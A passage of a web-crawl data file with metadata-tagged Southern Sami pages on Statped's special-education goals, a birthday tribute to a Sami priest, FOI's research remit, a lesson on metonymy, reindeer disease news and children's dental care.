hoksedh.\nLaavenjostoe jïh iktedimmie – buerebe tjïrrehtimmie\nStatped lea öörnedamme jienebefaageles dajvine mah edtjieh hijven iktedamme dïenesjh hoksedh tjïeltide jïh fylhkentjïeltide. Utnijh sijhtieh Statpeden maahtoem joekehtslaakan daarpesjidh. Dellie daerpies struktuvrh jïh barkoevuekieh utnedh mah aktem aktelaaketje barkoevuekiem gorredieh.\nUlmie jïh effekte\nJarkelimmie Statpedeste lea akte kvaliteetereforme mij edtja aktem orre dïenesjeprofijlem sjugniedidh tïjjen åvtese, mij lea sjïehtedamme dejtie daerpiesvoetide mah gååvnesieh. Jarkelimmie edtja aaj dam sisnjelds reeremem radtjoesåbpoe darjodh. Gosse Statped öörnesåvva jienebefaageles dajvine, dïhte sæjhta nuepiem nænnoestehtedh öörnegen mietie jïh ellieslaakan barkedh. Dïenesjh sijhtieh radtjoesåbpoe vadtasovvedh, jïh dïenesji kvaliteete sæjhta buerebe sjïdtedh.\nEktiedimmiem tjïelkestidh ulmien, darjomi jïh effekten gaskem edtja viehkiehtidh våaroehtidh, jïh barkoen otnjegem vuesiehtidh jarkelimmieboelhken. Dïhte mij tabellesne neebnesåvva goh veanhtadamme effekth lea vuesiehtimmieh veanhtadimmide Bïevnesisnie St. 18.\nStatped aktene aareh boelhkesne jarkelimmesne. Tjuara dan åvteste dejtie buerkiestamme effekteulmide tjoevkesisnie vuejnedh destie. Jaepien 2013 sæjhta prosessh tjïrrehtidh mah sijhtieh dejtie buerkiestamme effektide tjïelkestidh, jïh dan åvteste maahta staeriedimmieh sjïdtedh daan boelhken.\nTabelle vuelielisnie Statpeden ulmieh vuesehte, jïh veanhtadamme effekte daejstie. Dah ulmieh leah buerkiestamme Bïevn St. 18. Sæjhta dejtie darjoemidie mah leah ulmide ektiedamme, dennie fïerhtenjaepien dåarjoeprievesne dajvide buerkiestidh.\nULMIE 1\nStatped akte tjïelke jïh stïeresne dïenesjevedtije sjïerepedagogeles dåarjoste tjïeltide jïh fylhkentjïeltide. Statped dïenesjh vadta dovne almetje- jïh systeemedaltesisnie, jïh gaajhkh tjïelth jïh fylhkentjïelth seammavyörtegs dïenesjh Statpedeste åadtjoeh.\nEffekte\n- Tjïelth jïh fylhkentjïelth leah åehpies Statpedine goh siebrie, jïh dej dïenesjigujmie mejtie Statped maahta deelledh\n- Utnijh dïenesjem dååjrieh goh stïeresne jïh daajroes\n- Eejhtegh edtjieh jearsoes damtedh maanah dam dåarjoehtimmiem åadtjoeh mejtie daarpesjieh, jïh dah govlelgieh, jïh dej dååjrehtimmieh krööhkestamme sjidtieh\n- Statped reaktoe dïenesjh deellie, dan varke goh gåarede jïh reaktoe tïjjese\n- Statped vååjnoe goh akte tjïelke dïenesjedeellije\n- Tjïelkebe barkoe- jïh dïedtejoekedimmie PP-dïenesjen jïh Statpeden gaskem\n- Viehkiehtidh guktie jienebh maehtieh jåarhkeööhpehtimmiem tjïrrehtidh, jïh jienebh maehtieh meatan årrodh studijinie jïh barkosne\n- Lissiehtamme jieledekvaliteete utniejidie (viehkine utnijen nuepide evtiedidh)\nULMIE 2\nStatped sjïere maahtoem åtna sjïerepedagogeles faagesuerkiej sisnjeli, jïh eadtjohkelaakan viehkehte daajroem jïh maahtoem geerjehtidh daejnie suerkine.\nEffekte\n- Statped akte tjïelkebe jïh vielie våajnoes aktööre dennie sjïerepedagogeles faagesuerkesne regijovnaale jïh nasjovnaale sijjesne\n- Daerpies sjïerepedagogeles dïenesje vadtasåvva gusnie PP-dïenesje jïjtje ij dam maahtoem utnieh\n- Utnijh dååjrieh dah buerebelaakan Statpeden bijjiemaahtoem åadtjoeh\n- Statped vaarjele jïh evtede sjïerepedagogeles bijjiemaahtoem\n- Statped ohtsijh åådtje jolle faageles maahtojne\nULMIE 3\nStatped aktem strategijem åtna juktie suerkieh våaroehtidh dotkeme- jïh evtiedimmiebarkose (DoE), jïh lea laavenjostoeguejmie universiteetide jïh jïlleskuvlide.\nEffekte\n- DoE-strategije aktem ellies bijjieguvviem jïh stuvremem gorrede dotkeme- jïh evtiedimmiebarkoste Statpedesne\n- Statped dotkeme- jïh evtiedimmiebarkosne viehkehte Statpeden faagesuerkiej sisnjeli\n- Universiteeth jïh jïlleskuvlh Statpedem åtna goh akte hijven laavenjostoeguejmie\n- DoE-barkoe viehkehte daajroem lissiehtidh Statpeden faagesuerkiej sisnjeli\n- DoE-barkoe viehkehte daajroem lissiehtidh lïerehtimmiesuerkesne\nFokuse\nJarkelimmie Statpedeste lea akte prosesse mij edtja guhkiem vaasedh, jïh gusnie jïjnjh biehkieh. Dan åvteste vihkeles fokusem steeredh jarkelimmien aajkose, jïh ulmide mah leah bïejesovveme gïehtelæmman, guktie barkoen otnjege gorresåvva.\nDennie vijriesåbpoe jarkelimmieprosessesne Statpedeste sæjhta akte sjïere fokuse årrodh Statped\n- akte tjïelke faageles dåarjoehtæjja maanagïertesne jïh lïerehtimmesne\n- akte nasjovnaale gïehtelimmie aktine tjïelke dïenesjeprofijline\n- lea stïeresne utniejidie, saaht gusnie dah årroeh\n- aktem positijve, gaahpoeh jïh feerhmeles siebriekultuvrem åtna\n- fokusem åtna åvtehkeråållese jïh akten hijven stuvremetjïertese\n- aktöörh meatan vaeltieh guktie hijven prosessh gorresuvvieh\n- lea eadtjohke faageles evtiedimmesne nasjovnaale jïh gaskenasjovnaale sijjesne\n- orre lïerehtimmievierhtieh jïh orre tryjjesteknologijem åtnose vaalta, jïh viehkehte orre evtiedidh\n- systeemh åtna, faageles jïh reereles, mah aktem «rööpses laejkiem» gorrede abpe råajvarimmiesvaalhtesisnie\nTryjjesteknologije\nTryjjesteknologijie ij leah akte aate, men akte politihkeles visjovne. Visjovne lea tryjjesteknologije edtja byögkeles dïenesjh orrestidh jïh radtjoestidh. Dïejvese tryjjesteknologijie sjïerepedagogihken bïjre, gaajhkh elektrovneles dorjesh jïh meedijh feerhmie (vuesiehtimmien gaavhtan Gaskeviermie) mah sïejhmelaakan siebriedahkesne åtnasuvvieh, men aaj maehtieh pedagogeles råajvarimmine åtnasovvedh.\nSide 8 av 10","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/www.statped.no\/samisk-spesialpedagogisktjeneste-sead\/sead\/statped--akte-bielie-lierehtimmiesuerkeste\/statpeden-ulmieguvvie-2012-2016\/strategijh-jih-ulmie\/#7.2.2","date":"2022-10-04T16:51:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030337516.13\/warc\/CC-MAIN-20221004152839-20221004182839-00476.warc.gz","language":"sma","language_score":1.0000015497,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000015497207642}","num_words":707,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.135,"stopwords_ratio":0.144,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Statped –akte bielie lïerehtimmiesuerkeste\nStatped akte staateles sjïerepedagogeles dïenesjevedtije, jïh akte bielie lïerehtimmiesuerkeste. Statped edtja viehkiehtidh guktie maanah, noerh jïh geerve almetjh sjïere lïerehtimmiedaerpiesvoetigujmie nuepiem åadtjoeh eadtjohkelaakan meatan årrodh lïerehtimmesne, barkosne jïh siebriedahkejieliedisnie.\nDïenesjh vadtasuvvieh våaroemisnie maanagïertelaakeste jïh ööhpehtimmielaakeste. Dïenesjh geerve almetjidie vadtasuvvieh våaroemisnie ööhpehtimmielaakeste § 4A-2. Dïenesjh Statpedeste eah leah vïedteldahkesne laaken mietie, men akte faalenasse mij dåarjojne vadtasåvva dejtie dïenesjidie mejtie tjïelte jïh fylhkentjïelte vedtieh.\nStatpeden barkoe\nTjïelten jïh fylhkentjïelten dïedte lea hoksedh maanah, noerh jïh geerve almetjh hijven sjïehteladtemem åadtjoeh akten feerhmeles lïerehtimmiebyjresen sisnjelen. Statped edtja eadtjohke årrodh dam buektiehtidh. Edtja feerhmemem guarkedh goh seammavyörtegs meatan årrodh jïh ektievoetem utnedh dovne faageles, sosijaalelaakan jïh kultuvrellelaakan.\nStatped edtja dïenesjh vedtedh gosse tjïelth jïh fylhkentjïelth viehkiem daarpesjieh daennie barkosne. Statped dïenesjh vadta PP-dïenesjinie ektine. Statped maahta aaj jïjtje skraejriem vaeltedh tjïelti\/fylhkentjïelti vööste, jïh dïenesjh faalehtidh gosse maereles vååjnoe.\nHeerredimmie jïh aareh råajvarimmieh leah vihkeles prinsihph lïerehtimmesne jïh Statpeden barkosne. Daate maahta årrodh råajvarimmiejgujmie nïerhkedh aareh akten maanan jieliedisnie, jallh mænngan lïerehtimmesne gosse daerpies jallh våajnoes sjædta. Statped healsoesuerkine laavenjostoe juktie maanah vueptiestidh mah reakadimmien raejeste, jallh maanah, noerh jïh geerve almetjh mah skïemtjelassen\/ovlæhkoen mænngan, sjïere sjïehteladtemem jïh lïerehtimmiem daarpesjieh.\nStatped edtja aaj maahtoeevtiedimmine viehkiehtidh jïh daajroem geerjehtidh sjïerepedagogeles faagesuerkien sisnjelen. Daate daamtaj dorjesåvva aktene laavenjostosne universiteetigujmie jïh jïlleskuvligujmie. Statped lea lissine akte vihkeles aktööre gosse edtja nasjovnaale råajvarimmieh tjïrrehtidh lïerehtimmiesuerkien sisnjelen.\nBoelhken 2013-2017 Statped gaskem jeatjah dïedtem åtna råajvarimmine \"Vi sprenger grenser\" (Mijjieh raasth tsööpkebe) jïh \"Strategi for etter- og videreutdanning av ansatte i PP-tjenesten\" (Strategije minngie- jïh jåarhkeööhpehtæmman barkijijstie PP-dïenesjisnie)\" (daaroen SEVU-PPT).\nVi sprenger grenser (Mijjieh raasth tsööpkebe)\nProgramme \"Vi sprenger grenser\" (Mijjieh raasth tsööpkebe) edtja viehkiehtidh veanhtadimmide, voerkesvoetem jïh maahtoem lissiehtidh lïerehtimmien jïh evtiedimmien bïjre maanaj jïh learohki luvnie stoerre gellielaaketje learoetsagkesigujmie jïh evtiedimmieheaptoejgujmie. Naemhtie dej faageles jïh sosijaale nåhtoe edtja læssanidh maanagïertesne jïh skuvlesne.\nStrategije minngie-jïh jåarhkeööhpehtæmman PP-dïenesjijstie (daaroen SEVU-PPT)\nAkte maahtoestrategije mij lea stuvreme barkijidie PP-dïenesjisnie mah lissiehtamme maahtoem sijhtieh. Ööhpehtimmiesuerkieh leah \"siebrieevtiedimmie jïh jarkelimmiebarkoe\", \"lïerehtimmiebyjrese jïh dåehkiestuvreme\", bïhkedimmie jïh raeriestimmie\" jïh \"åvtehkeööhpehtimmie\".\nVæhtagïele\nVæhtagïele akte ållesth gïele. Byögkelesvoeten lea dïedte væhtagïelem nænnoestehtedh jïh evtiedidh. Statpeden barkoe lea dejnie viehkiehtidh.\nAkte ulmie lea væhtagïele vielie våajnoes sjædta maadthlïerehtimmesne. Daate sæjhta jiehtedh gaajhkh learohkh edtjieh hijven vuajnoeh gïelese evtiedidh, jïh gaajhkh learohkh jïh lohkehtæjjah edtjieh såemies maahtoem utnedh væhtagïelesne jïh væhtagïelen bïjre.\nDaate edtja viehkiehtidh guktie maanah mah nåakelaakan guvlieh jallh leah bieljehts buerebelaakan feerhmesuvvieh jïh meatan årroeh.\nSide 2 av 7","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/www.statped.no\/samisk-spesialpedagogisktjeneste-sead\/sead\/statped--akte-bielie-lierehtimmiesuerkeste\/faage-jih-dienesjefaalenasse\/statped-akte-bielie-lierehtimmiesuerkeste\/#1.1","date":"2022-10-04T13:46:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030337504.21\/warc\/CC-MAIN-20221004121345-20221004151345-00425.warc.gz","language":"sma","language_score":1.000005126,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"sma_Latn_score\": 1.0000051259994507}","num_words":392,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.132,"stopwords_ratio":0.153,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bierna Bientie har hatt stor betydning for samisk kirkeliv, både i sørsamisk område, og for Den norske kirke i helhet. Bierna ble ordinert i 1978 og virket i flere menigheter før han de siste 16 årene var prest for sørsamer, etterhvert også knyttet til Saemien Åålmege som prest for sørsamer. Denne menigheten for det samiske miljøet i sørsamisk språkområde ble en permanent menighet i Den norske kirke i 2015.\nDe siste årene har Bierna bidratt med oversettelser av bibeltekster og oversetting av liturgier til sørsamisk, i samarbeid med Samisk kirkeråd og Bibelselskapet. Hans språklige, kulturelle og teologiske kompetanse har kommet til fulle i dette arbeidet. Bierna har også vært bidragsyter på Samiske kirkedager, og sitter også i programkomiteen for neste høsts arrangement på vegne av Samisk kirkeråd som er i Anár\/Enare.\nBierna var med da den første plan for samisk kirkeliv ble utarbeidet. Denne dannet det faglige grunnlaget for opprettelsen av Samisk kirkeråd i 1992. Bierna Biente var rådets nestleder de to første årene, og fra 1993, også leder for utvalg for samisk kirkeliv.\nSamisk kirkeråd har samarbeidet med Bierna Bientie helt fra starten, og vi har gjennom disse årene satt stor pris på hans faglighet, trygghet i arbeidet og gode motiverende ord til oss som sine kolleger.\nVi ønsker lykke til med 70-årsdagen!\nPå vegne av Samisk kirkeråd,\nSara Ellen Anne Eira\nleder\nMijjieh Bierna Leine Bientiem læhkoehtibie 70-jaepiebiejjine 28.09.2021!\nDon stoerre biejjien sjïekenisnie mijjieh tjaalegem bæjhkoehtibie maam Bierna Kruana gærhkoegærjese tjeeli – daelie 2021-versjovnesne orrestamme (vuartesjh vueliemassjen sæjrosne).\nBierna Bientie lea vihkele orreme saemien gærhkoejieliedasse, dovne åarjelsaemien dajvesne jïh abpe Nöörjen gærhkose. Bierna hearrine sjïdti 1978 jïh jieniebinie åålmeginie barki åvtelen lij hearra åarjelsaemide doh minngemes 16 jaepieh, mænngan aaj ektiedimmiem utni Saemien Åålmegasse goh hearra åarjelsaemide. Daate åålmege saemien byjresasse åarjelsaemien gïeledajvesne, ihkuve åålmeginie sjïdti Nöörjen gærhkosne 2015.\nDoh minngemes jaepieh Bierna lea bijpeleteeksth jïh liturgijh åarjelsaemien gïelese jarkoestamme, laavenjostosne Saemien gærhkoeraerine jïh Bijpelesïeltine. Altese gïeleldh, kulturelle jïh teologeles maahtoe lea eevre reaktoe orreme daennie barkosne. Bierna aaj dåarjojne orreme Saemien gærhkoebiejjine, jïh Saemien gærhkoeraerien åvteste lea aaj meatan programmemoenehtsisnie mubpien tjaktjen öörnemasse Anarisnie.\nBierna lij meatan gosse voestes soejkesje saemien gærhkoejieliedasse dorjesovvi. Daate dam faageles våaromem bïeji ihke Saemien gærhkoeraerie tseegkesovvi 1992. Bierna Bientie lij raerien mubpieåvtehke doh voestes göökte jaepieh, jïh 1993 aaj saemien gærhkoejieleden moenehtseåvtehke.\nSaemien gærhkoeraerie lea Bierna Bientine eevre aalkoven raejeste laavenjosteme, jïh daej jaepiej libie stoerre aavoem åtneme altese faagedaajroste, jearsoesvoeteste barkosne jïh altese tjaebpies baakojste mijjese goh altese barkoeguejmieh.\nMijjieh læhkoehtibie 70-jaepiebiejjine!\nSaemien gærhkoeraerien åvteste\nSara Ellen Anne Eira\nÅvtehke\nFoto: Samisk kirkeråd\/Kirkerådet","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/kirken.no\/nb-NO\/om-kirken\/slik-styres-kirken\/samisk-kirkeliv\/adasa---nyheter\/70-%C3%A5rsjubileum\/","date":"2022-09-26T15:20:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030334912.28\/warc\/CC-MAIN-20220926144455-20220926174455-00730.warc.gz","language":"sma","language_score":0.9767739773,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9767739772796631, \"sme_Latn_score\": 0.01590339094400406}","num_words":411,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.173,"stopwords_ratio":0.073,"flagged_words_ratio":0.0,"lang_id_score":0.989,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije Heide, Beate Bertije Skániid Girjie Vaadtasovvemejaepie 2016 Faage Saemien 1 Daltese Maanagïerte 1-4 5-7 8-10 VGS Jollebe ööhpehtimmie Giele Noerhtesaemiengïele Daaroengïele ISBN 9788291973616 Formaate Sïejhme gærja Reakta-aajhtere Skániid Girjie Reaktah Gaajhkh reaktah leah doelehtovveme Mennie bielesne 96 Aamhtesh Kultuvre Litteratuvre Aarhte jïh daajroe Healsoe Religiovne Etihke Siebriedahke Skuvle jïh ööhpehtimmie Saemiengïele Gïelh jïh smaaregh heevehtslitteratuvre Viehkiebaakoe Foeste-maana Foeste-eejhtegh","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/ovttas.no\/sma\/girji_det-knuste-hjertet","date":"2022-10-05T19:13:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030337663.75\/warc\/CC-MAIN-20221005172112-20221005202112-00468.warc.gz","language":"sma","language_score":0.9998682737,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9998682737350464}","num_words":52,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.175,"stopwords_ratio":0.096,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"FOI:en bïjre - sydsamiska\nFOI dotkoe sagki jearsoesåbpoe veartenen åvteste. Naemhtie mijjen visjovne mejnie barkebe jaksedh gaajhkh mijjen barkosne. FOI, Totalförsvarets forskningsinstitut barka gaajhkene laavenjassigujmie vaarjelimmie- jïh jearsoesvoetegyhtjelassine.\nMijjieh jearsoesvoetepolitihken analysh jïh vuarjasjimmieh darjobe ovmessie såarhth aejhtiemijstie. Mijjieh vihkeles dotkemisnie tjaetsien nuelesne jïh dotkemisnie eksplosijve ïebni bïjre. Mijjieh nænnoestimmiedåarjoeöörnegh evtiedibie jïh öörnegh gusnie almetje, teknihke jïh organisasjovne edtjieh laavenjostedh. Mijjieh dotkebe girtiesysteemi, IT-jearsoesvoeten, radaren, laseren jïh jeatjah sensovresysteemi bïjre, jïh aaj vaarjelimmiem vaahreles ïebni vööste.\nMijjen dotkeme tjïrrehtibie dovne guhkiebasse perspektijve maahtoebigkeme darjoemidie jïh jienebisnie maahtoesjïehtesjimmien darjoemisnie. Dellie dotkemem jïh evtiedimmiem, analysh jïh vielie nuhtjebe guktie maehtebe vaestiedidh åeniehkåbpoe dåeriesmoerh barkoevedtiejistie.\nFOI:esne mijjieh jearsoesvoeten bïjre dotkebe gaajhkene sïebredahkedaltesinie – nasjonaale, regionaale jïh voenges. FOI:en maahtoe lea lissine vihkeles internasjonaalen daltesisnie jïh mijjieh libie gellie EU-prosjekti åvtehke.\nFOI lea akte dejstie Europan vihkeles dotkemeinstituhtijstie vaarjelimmien jïh jearsoesvoeten åvteste. FOI lea staaten åejvieladtjeh Försvarsdepartementen nuelesne jïh jeenjemes mijjen barkoste leah stillemijstie maakseme. Mijjen stööremes stillemevedtiejistie leah Försvarsmakten, Försvarets materielverk, Regeringskansliet jïh Myndigheten för samhällsskydd och beredskap, MSB. Mijjen aaj gellie jeatjah stillemh jeatjah staaten åejvieladtijste, tjïeltijste jïh sïeltijste evtemes neavroeriejriesvoeten- jïh vihtiesvoetedajvine.\nInstituhte medtie 1 000 barkijh åtna. Medtie 800 dejstie leah dotkijh akademijen daltesisnie. FOI:sne dovne fysikerh, kemisterh, civilingenjöörh, sïebredahkedaejrijh, matematihkerh goh filosoferh berkieh dotkemisnie, vuekie- jïh teknihkeevtiedimmine, analysine jïh lohkeminie.\nFOI:en dotkemereektehtsh gååvnesieh lohkedh dovne sveerjengïelesne jïh såemies dejstie englaanten gïelesne. Maahtah dejtie veedtjedh jallh dængkodh dennie sæjrosne reektehtsh.\nGaskesadtemebïevnesh FOI:se datne gaavnh vuelelen dennie sæjrosne, seamma saaht gusnie leah sajtesne.\nJis sïjhth maam akt lahtestidh dan websæjroen bïjre diedtesth dellie dam plaave Lämna feedback-båaloem.","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/www.foi.se\/om-foi\/minoritetssprak-och-latt-svenska\/foien-bijre---sydsamiska.html","date":"2022-09-30T21:34:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030335504.37\/warc\/CC-MAIN-20220930212504-20221001002504-00212.warc.gz","language":"sma","language_score":0.9999964237,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9999964237213135}","num_words":250,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.14,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gosse metonymijem jïh synekdokem gïeleldh vierhkie-vierhtine nuhtjebe dellie jortehtibie.\nMentonymije\nGosse akte baakoe orre sisvegem åådtje, dellie mijjieh gïeleldh vierhkie-vierhtiem metonymije nuhtjebe. Jis mijjieh plaerieh lohkebe dellie metonymijh joekoen sïejhme daaroen-gïelesne.\nGïehtjedh vuesiehtimmide:\nÅarjel-Trøndelaage gulliem vitni.\nDellie fylhken nomme soptseste gubpede almetjh böötin mah vitnin, jïh dellie fylhken nomme mentonymijinie sjædta.\nSlåahte aktem presse-bïevnesem seedti.\nGosse mijjieh baakoem slåahte lohkebe daennie raajesisnie, dellie mijjieh guarkebe slåahte lea gånka jïh dan fuelhkie.\nHarald Gaski gærjesne Med ord skal tyvene fordrives tjaala Jakob Fellman metonymijem nuhtjeme vuelesne Soelege jïh nåejtie. Gaski tjaala nåejtie lea aalkoe-almetjh (saemieh) jïh soelege lea almetjh mah saapman båetieh sijhtieh eatnemem vaeltedh.\nSynekdoke\nGosse mijjieh synekdokem nuhtjebe dellie mijjieh aaj jortehtibie. Jis mijjieh biehkiem mestie akt neebnebe gosse edtjebe elliesvoetem buerkiestidh, dellie daate synekdoke. Maehtebe dam vuekiem nuhtjedh gosse edtjebe giem akt ållermaehtedh.\nMaehtebe sigle-vïnhtsem gåhtjodh: veelkes siglh\nBaakoe\nSaemien\nDaaroen\nelliesvoete\nhelhet","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/ndla.no\/subject:1:a532138d-e16a-4046-a46e-bd5bc9487b8b\/topic:3:182229\/resource:1:163652","date":"2022-10-05T15:43:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030337631.84\/warc\/CC-MAIN-20221005140739-20221005170739-00292.warc.gz","language":"sma","language_score":0.9999499321,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999499320983887}","num_words":145,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.09,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Silje Karine MuotkaAkte låemties råantjoe maam leekedi skïereden 9.b. Byrkijisnie lea positijve teestem åådtjeme CWS-skïemtjelassese dejnie voestes pryövine. Doh annjebodts pryövevaestiedassh maehtieh suetien vööste vuesiehtidh, jïh jienebh analyjsh daerpies. Minngemosth pryövevaestiedasse daan hïeljen båata. Beapmoevaaksjome dam preessebïevnesisnie beavna.\nCWD lea jaamedahke raantekreekide, jïh aarebi dam gaavneme gedtiej luvnie Nordfjella-vaeresne jïh Hardangerguevtielisnie.\nSaemiedigkiepresideente Silje Karine Muotka jeahta eevre vihkele skïemtjelassem tjöödtjestidh olles haasenh, jis doh minngemosth pryövevaestiedassh CWD-skïemtjelassem vuesiehtieh.\n– Jis vihteste bovtsh leah CWD-skïemtjelasseste laanestamme, dellie åejvieladtjh Nöörjen Båatsoesaemiej Rijhkesiebrine ektine (NBR) jïh båatsoeburriejgujmie dajvesne dallatjinie aelkedh goerehtalledh man jïjnje lea skïemtjelasseste jïh råajvarimmiejgujmie nierhkedh suetiem tjöödtjestidh, Muotka jeahta,\nSaemiedigkiepresideente aaj birrie båatsoeburrieh bïevnesh jïh hijven faageles raerieh åadtjoeh guktie dah edtjieh daam tsiehkiem gïetedidh.\n– Vihkele bïevnesidie tjarke prioriteeredh, joekoen dejtie båatsoeburride mej bïjre lea, men aaj abpe båatsose.\nSaemiedigkiepresideente Silje Karine Muotka sæjhta daelie sveerjen saemiedigkiepresideentem Håkan Jonsson CWD-skïemtjelassen bïjre bievnedh mij dagke båateme bovtside Byrkijisnie, mij lea eevre sveerjen raasten lïhke.\nBeapmoevaaksjomen preessebïevnese vaanesovmen bïjre CWD-skïemtjelassen bïjre bovtsine Byrkijisnie","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/sametinget.no\/saernieh\/itjmies-jis-cwd-skiemtjelassem-vihteste.21933.aspx","date":"2022-10-05T13:01:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030337625.5\/warc\/CC-MAIN-20221005105356-20221005135356-00257.warc.gz","language":"sma","language_score":0.9999636412,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.999963641166687}","num_words":160,"character_repetition_ratio":0.094,"word_repetition_ratio":0.0,"special_characters_ratio":0.125,"stopwords_ratio":0.113,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije Sámiráđđi Vaadtasovvemejaepie 1986 Faage Saemien histovrije jïh siebriedahke Daltese Maanagïerte 1-4 5-7 8-10 VGS Jollebe ööhpehtimmie Giele Eenglaantengïele Noerhtesaemiengïele Daaroengïele Formaate Lohkehtæjjabïhkedimmie Reakta-aajhtere Sámiráđđi Reaktah Gaajhkh reaktah leah doelehtovveme Mennie bielesne 4 Aamhtesh Eatnemelearoe Saepmie Histovrije Saemien histovrije Kultuvre Kåanste Litteratuvre Siebriedahke Skuvle jïh ööhpehtimmie Viehkiebaakoe Saemien åålmegebiejjie Saemien åålmegebiejjie","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/ovttas.no\/sma\/girji_sameflagget","date":"2022-12-03T09:38:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710926.23\/warc\/CC-MAIN-20221203075717-20221203105717-00243.warc.gz","language":"sma","language_score":0.9993240833,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9993240833282471}","num_words":46,"character_repetition_ratio":0.091,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.152,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Baenieh åadtjodh\nDah bijjiebaenieh pruvhkieh voestemes jijhtedh. Daate gosse maanah medtie 6-8 askh. Dan mænngan åvtesbaenieh bijjieguemesne jijhtieh. Dah åvtemes maadthbaenieh, skaavhtebaenieh jïh minngemes raajan dah duekemes maadthbaenieh båetieh. Gosse dïhte maana medtie 3 jaepien båeries dle gaajhkh moerebaenide åådtjeme, luhkie bijjiebaenieh jïh luhkie vueliebaenieh. Naa sïejhme guemesne siknjede gosse baenieh jijhtieminie, jïh utnieh hijven maam gaetskedh. Dle maehtede sjiehteles gaetskemegaevniem (jorpe raedtiejgujmie) maanide vedtedh.\nBaenieskubpeme\nGosse dïhte voestes baenie jæjhteme dle maa daerpies aelkedh baenide skubpedh. Vaeltieh möövhkes baeniesaehpiem jïh ohtje ohtje baeniebadtjam. Maanan baeniebadtja laehkebe jïh dan gaavhtan gaajh åajva maanide. Gosse dïhte maana 1 jaepien båeries dle vaeltieh seamma jeenjem baeniebadtjam goh maanan onnesoermen guehpere jïh earhtenestoerre gosse 3 jaepien båeries. Gosse dïhte maana 5-6 jaepieh dle maehtede jeenjebem baeniebadtjam vaeltedh. Healsoedirektoraaten faaleldahke tjoerede viehkiehtidh angkeni baenieh skubpedh goske dah leah medtie 10 jaepien båeries.\nVaalta ståantem goske dïhte fluovrebaeniebadtja vyrtehks, dan gaavhtan ij edtjh byöpmedh jallh jovkedh åvtelen akte tæjmoe vaaseme mænngan baenide skubpeme. Jis idie fluovrebadtjam nuhtjh, dle maehtede fluovretablehtem vaeltedh. Fulkieh dejtie faaleldahkide maam healsoejarnge\/baeniedåaktereklinihke buakta.\nRaejkieh\/maelliebaenieh\nDijnegistie baenieh raajkanieh. Gosse maana byöpmede jallh maam sieties jåvka, dle bakterijh syjrem dorje mestie baenieh raajkanieh. Dan gaavhtan nuhteligs sjïere beapmoetïjjh utnedh. Beapmoen mænngan dle tjalke njaelmesne dam syrem nøytraliseerede.\nDan gaavhtan joekoen vihkeles ij maana maam byöpmede jallh sieties jovkesem jåvka maalestahki gaskem, joekoen jïjjen gosse vaenebe tjalke dorjesåvva.\nNjammedidh\nTjidtjien mïelke lea sieties jïh mij syjrese dorjesåvva. Jïjjen dle vaenebe tjalke dorjesåvva jïh dan gaavhtan maahta baenieh raajkanidh. Dotkeme vuesehte hijven orrijidh jïjjen njammedidh jallh mielhkiebodtelinie hiejhtedh gosse maana 1 jaepien båeries jallh båarasåbpoe, juktie maanaj baeniej maehtieh raajkanidh.\nBaeniej posisjovne njaelmesne\nMaahta maanam bielkine jallh damhpine söölkestidh. Gosse bielkiem jallh damhpam njamma maahta baenide sijjeste sæjjan nehkielidh, menh jeenjemes aejkien dle baenieh viht rïektes sæjjan båetieh jis orreje bielkiem\/damhpam njammedh åvtelen moerebaenide dessieh.\nSkaarah\nJis gahtjh jallh 